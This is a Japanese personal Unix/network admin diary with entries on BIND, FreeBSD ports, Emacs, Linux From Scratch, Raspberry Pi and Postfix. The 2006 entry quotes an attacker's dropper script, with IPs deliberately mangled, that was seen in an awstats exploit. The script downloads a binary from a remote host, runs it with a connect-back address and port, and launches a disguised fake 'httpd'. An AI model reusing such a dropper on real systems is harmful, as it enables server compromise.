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屑俺日記

僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。


2005-01-27(Thu) どきめき

mixiのリンク先

truncate(1) のmanと実演例があった。linuxにはtruncate(2)か(l) [not (1)] しかないらしい。 それにしてもtruncate(1)って、一体何のために作られたのか。

bind9.3.1beta2

をとりあえず入れた。9.3.0と同じオプションをつけて./configureする。 (--with-openssl=yes --enable-ipv6 --with-libtool --enable-libbind) 特に異常もなくmakeが通ったので、installしてからnamedを切り、再び /PATH/named -u USER -c /PATH/CONFIG_FILE する。一応etherealで確認。

openwebmail.pl

って何だ?そんなのぐぐるまでもなく想像つく。そんなのより、こっちにそれがあると 信じてアクセスする香具師の方が気になる。逆引きすると www.socialsciences.ccu.edu. tw. なんてのが返るので尚更だ。404で追い返してはいるが。

ports

refuseがうまくいってなかったので、/usr/sup/refuseを書く。 書いたディレクトリを一括削除し、cvsup -g ports-supfile。 ところが消しちゃだめだった。make indexで依存関係のエラー出まくり。 結局ぜんぶ突っ込んで make index 。しかし make readmesはひどく重い。

本日のツッコミ(全2件) [ツッコミを入れる]

takanyon [5.3-RELEASE付属のsupfileからrefuseの位置は/usr/supから/var/db/supに場所が..]

kuzuore [へえ、どうもっす。↑の記事は4.10(98)について書いておりやす。 5.3と混用してた為か、refuseの位置を間..]


2006-01-27(Fri) 混迷

rcutin続

ブラウザを大きく開くと、前の行とくっつかないようだ?
要するに、一行をあまり長くしないように、そういうことだろう。
この点はどのブラウザでも共通するようだ。

FirefoxのWindows版およびMacOSX版でも、概ね似た感じ、 同じに使えそうな感触があった。

MoP & MSIE6,Safari

IE6などでもsambaを介して同じページを見てみた。

フォントサイズが随分と異って はいるものの、hjklは有効だ。qandaやopaqueも、 一応使える。
でも、文字の出方がさらにさらに変。飛び出した 文字が止まってる文字とくっつくと同時に、揃って 一行上に跳ね上がったり、ちぐはぐに出てきたり。

Safariもなんか妙だ。IE6よりはましに見えたが、 "j"でのopaqueとrcutinが うまく動かない (emergはどうやら動いたが)。

Progress bar

をコピペ。

放っといても、設定した時間が経てば次のページに移る。
身震いした。

あの事故の後

crond、そしてsyslogdの再起動を忘れていたことにようやく 気付く。
namazuのインデックスの日付は古いまま、 定期メールも届かず、トップページも 更新されてない。そして/var/log/messagesも Jan 24 21:18:15 以降ずっと何もなし...orz

さらに兇悪

awstatsの穴をついた攻撃はあいかわらずだ。 wgetで194.102.194.115にあるscripzとか いうシェルスクリプト を取っていた(以下、適当に 改竄しとく)。

$ cat scripz
#!/bin/bah
cd /tmp
wget 2I9.84.1O5.36/ping
mv ping cb
chmod +x cb
./cb 2I0.245.233.25I 8O8O &
killall -9 lordnikonz
wget 3333052101/images/logo.jpg
mv logo.jpg httpd
rm -rf scripz
chmod +x httpd
export PATH="DOT"
httpd

地獄へ逝け。

URL%A5%A8%A5%F3%A5%B3%A1%BC%A5%C9

なんとか"URL%A5%C7%A5%B3%A1%BC%A5%C9"(っていうのか?)できた。

#!/usr/bin/env ruby
require "cgi"
 
foo="URLエンコード"      
bar= CGI::escape(foo)
print bar,"\n"
print CGI::unescape(bar),"\n"

apacheのアクセスログを読むのに、一々ブラウザにかける 必要がなくなりそうだ。ようやく。


2007-01-27(Sat) どっと

AirHでPPPできなくなった

AirHのLEDは緑に光っている。
しかし何度$ sudo pon -i しても、

Jan 27 12:30:11 host pppd[4762]: Hangup (SIGHUP)
Jan 27 12:30:11 host pppd[4762]: Modem hangup

究明は後回し。orz

*scratch*とaproposと

市立図書館の自習^h^h談話室にて、 マニュアル を時折覗きながらEmacsの*scratch*バッファに向かってあれこれ。

変数名を書いてC-jしても、リストは途中 までしか出ないことがある。

anthy-keyencode-alist 
((1 . "(ctrl A)") (2 . "(left)") (4 . "(ctrl D)") \
(5 . "(ctrl E)") (6 . "(right)") (7 . "(esc)") (8 \
. "(ctrl H)") (9 . "(shift left)") (10 . "(ctrl J)\
") (11 . "(ctrl K)") (13 . "(enter)") (14 . "(spac\
e)") ...)

aproposでeval-print-last-sexpを読み直すと、 "Note that printing the result is controlled by the variables ` eval-expression-print-length' and `eval-expression-print-level', which see."とか書いてある。

eval-expression-print-length
12

しからば、もっと大きな数字を入れてみよう。

(setq eval-expression-print-length 100)
100
 
anthy-keyencode-alist
((1 . "(ctrl A)") (2 . "(left)") (4 . "(ctrl D)") \
(5 . "(ctrl E)") (6 . "(right)") (7 . "(esc)") (8 \
. "(ctrl H)") (9 . "(shift left)") (10 . "(ctrl J)\
") (11 . "(ctrl K)") (13 . "(enter)") (14 . "(spac\
e)") (15 . "(shift right)") (16 . "(up)") (32 . "(\
space)") (40 . "(opar)") (41 . "(cpar)") (127 . "(\
ctrl H)") (S-right . "(shift right)") (S-left . "(\
shift left)") (right . "(right)") (left . "(left)"\
) (up . "(up)") (backspace . "(ctrl H)") ((shift r\
ight) . "(shift right)") ((shift left) . "(shift l\
eft)") ((right) . "(right)") ((left) . "(left)") (\
(up) . "(up)"))

最後まで出たようだ。これでよし。

(safe-length load-path)
37

そりゃ重くもなるわな。

置換で改行

$ echo "a b c" | sed "s/ /\n/g"
a
b
c

Emacsでは(viでも)どうやるんだろうなぁ。
M-x replace-regexpに続いて色々試したが、 どれも失敗。
viではフィルタを通すという隠し技もあったが、 コマンドをすっかり忘れてしまっている。
またもorz...

*shell*でやってやるか。と考えて、実際にやったりもした。

帰宅後ぐぐって 消えかけのブログでようやく発見。 改行文字はC-qC-jで入れるそうな。
やっとできて、安堵。
ちなみにviならCtrl-vに続いてCtrl-mで改行を入れる。 これも ぐぐってようやく。


2008-01-27(Sun) とけ

2.6.24

VirtualBoxのPlamoには入れた。例によってmake oldconfig。
もう少し揉まないと、と思わなくはないが、ただ動かすだけなので、 何も変哲なし。
ちなみにこのPlamoには2.6.23.9を入れていたが、そのカーネルでは 一度も起動したことがなかったようだった(ずっと「状態を保存」して いたみたい。


2009-01-27(Tue)

Plamo-4.51

特にトラブルもなし。


2010-01-27(Wed) 晴れ

Linux From Scratch on PowerPC

ホストシステムとしてDebian Lennyを借りる。パーティションを 切ってなかったので、loop でマウントしたディスクイメージの中で ビルドした。
ほとんどはドキュメント(x86およびamd64の)通りにできた。
Gentooを入れたPowerMac上で、システムを構築する。 嵌りどころはブートローダとlinuxカーネル。前者はGentooの /etc/yaboot.conf を書き換え、mkofboot -v && ybin -v。

boot=/dev/hda2
device=hd+
partition=4
delay=10
timeout=200
install=/usr/lib/yaboot/yaboot
magicboot=/usr/lib/yaboot/ofboot
image=/boot/kernel-2.6.31-gentoo-r6
	label=Gentoo
	root=/dev/hda4
	read-only
partition=4
 
# Linux From Scratch
image=/boot/vmlinux
	label=LFS
	root=/dev/hda5
	read-only
partition=5

まだ余計なところはあるはずだけど。ともかく boot: に入力するラベル(Tabで候補表示)で切り替えが できるようになった
ブートできなくなったら、Gentooの インストールCDを入れて、 boot: にconf device=cd とかやると CDのイメージが選べる(この場合はppc32)。

カーネルは make menuconfig ではうまく動くように設定できなかった。
白地に黒っぽい文字で

done
copying OF device tree...
Building dt strings...
Building dt structure...
Device tree strings 0x0112c000 -> 0x0112cc20
Device tree struct  0x0112d000 -> 0x0114b000
Calling quiesce...
returning from prom_init

で止まる。gentooで作ったカーネルは起動できるので、 そちらのドキュメントを読み直す。最初に make pmac32_defconfig で .config を作ってもらい、それをmenuconfig で書き換えると うまく動くカーネルができた。

# uname -a
Linux lfs65ppc 2.6.30.2 #3 Wed Jan 27 13:19:10 JST 2010 ppc GNU/Linux

nkf

1/24に対応して貰った模様。


2011-01-27(Thu) げんかん、はれ

shuf(1)

$ seq 1 5 | shuf
2
3
4
1
5

GNU Coreutils にあった。FreeBSDには同じ名前のコマンドはないみたい。


2013-01-27(Sun) 昨日は強く風が吹いたが、今日はややまし

日付が変

Raspbian でなにげに気づく。

$ ls -l --full-time / | grep boot
drwxr-xr-x  2 root root 16384 1970-01-01 09:00:00.\
000000000 +0900 boot

dd ベンチ -Raspbian-

$ time dd if=/dev/urandom of=/dev/null bs=1048576 count=1024
1024+0 レコード入力
1024+0 レコード出力
1073741824 バイト (1.1 GB) コピーされました、 910.815 秒、 1.2 MB/秒
 
real	15m10.835s
user	0m0.000s
sys	15m7.180s

dd ベンチ -Corei5-

$ time dd if=/dev/urandom of=/dev/null bs=1048576 count=1024
1024+0 レコード入力
1024+0 レコード出力
1073741824 バイト (1.1 GB) コピーされました、 82.1373 秒、 13.1 MB/秒
 
real	1m22.143s
user	0m0.000s
sys	1m22.045s

Ubuntu12.4デスクトップ使用中。思った程速くなかった。


2014-01-27(Mon) 摂氏二度。でも風は穏やか

なぜか書けなかった

RaspberryPiのFreeBSD 11-CURRENT を試していたが、この日は失敗ばかりだった。


2016-01-27(Wed) 昨晩の雨がやんで、温度やや高し

タッチディスプレイ

共立にて、 取付台と一緒に購入。 買ったのは1/10かそのくらい。
RaspberryPiのDSIが生きるかと思ったが、 RaspberryPi A, Bはいずれも認識されず、 A+とB2(たぶんB+も)が使えた。
給電はGPIO経由でも、本体基板からでも良いようだ。

DISPLAY=:0.0 xset dpms force off で消せる (これにより消費電力も減る)ことを確認。onで点灯する。
一度電源を抜いたら再起動しないと認識されない。
活線挿抜できないっぽい。

しばらく寝かせていたが、上記のコマンドを 確認するためにtwitterを見るのが面倒になって書く。

$HOME/.sshと$HOME/.ssh/authorized_keys

Debian/Ubuntuでやっていたように、 mkdir $HOME/.ssh && echo hogehoge > $HOME/.ssh/autorized_keys しても駄目であった。

のパーミッションによってはsshの認証が蹴られる。
具体的には、グループやその他が書き込み可能 な属性を含んでいる(2,3,6,7) と駄目だった。
また、ユーザについては .ssh の実行属性と authorized_keysの読み込み属性が必要だった。

毎回パスワードが面倒くさい

visudo して一行。

Defaults ! authenticate

NOPASSWDと同じになったことに気づいてやめた。
他、passwd_timeoutとか色々試すが、効果なし。


2022-01-27(Thu) 曇っていた

relay_recipient_maps

リレーホストに一行、そして転送ユーザ一覧。

relay_recipient_maps = hash:/etc/postfix/relay_users
$ cat /etc/postfix/relay_users
USER@DOMAIN.TLD hogehoge

"hogehoge" は参照しないらしい。

relayするアドレスを指定していないと、 リレーホストは間違ったアドレスでも飲み込んでしまう。 で、エラーはリレーホストから本命に転送するときに 起こり、リレーホストが改めて送信元に突っ返すことに。

リレーするアドレスを指定していれば、 それ以外はリレーホストに転送する時点でエラーとなり、 送信元がエラーメールを出すと。

簡単な冗長化ならこのあたりでできそう。
と考えたので、本番にも追加する。
二番手からはIPv6のtcp/587とtcp/993は閉じておく (IPv4はほとんど閉めている)

本命からIPv4を閉じて、IPv6に対応していないメールサーバ からテストメールを送ってみた。
転送ログはこんな感じになった。

Received: from $SECOND ($HOST [IPv6:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX])
	by $MSERVER (Postfix) with ESMTPS id 768BE40043
	for <$GET_USER>; Thu, 27 Jan 2022 11:51:08 +0900 (JST)
Received: from $SEND_SERVER ($SEND_SERVER [YYY.YYY.YYY.YYY])
	by $SECOND (Postfix) with ESMTPS id DAD961C0A13
	for <$GET_USER>; Thu, 27 Jan 2022 11:51:07 +0900 (JST)
Received: from $USER ($SENDER_HOST [ZZZ.ZZZ.ZZZ.ZZZ])
	by $SEND_SERVER (Postfix) with ESMTPSA id 698A783FD4
	for <$GET_USER>; Thu, 27 Jan 2022 11:50:34 +0900 (JST)

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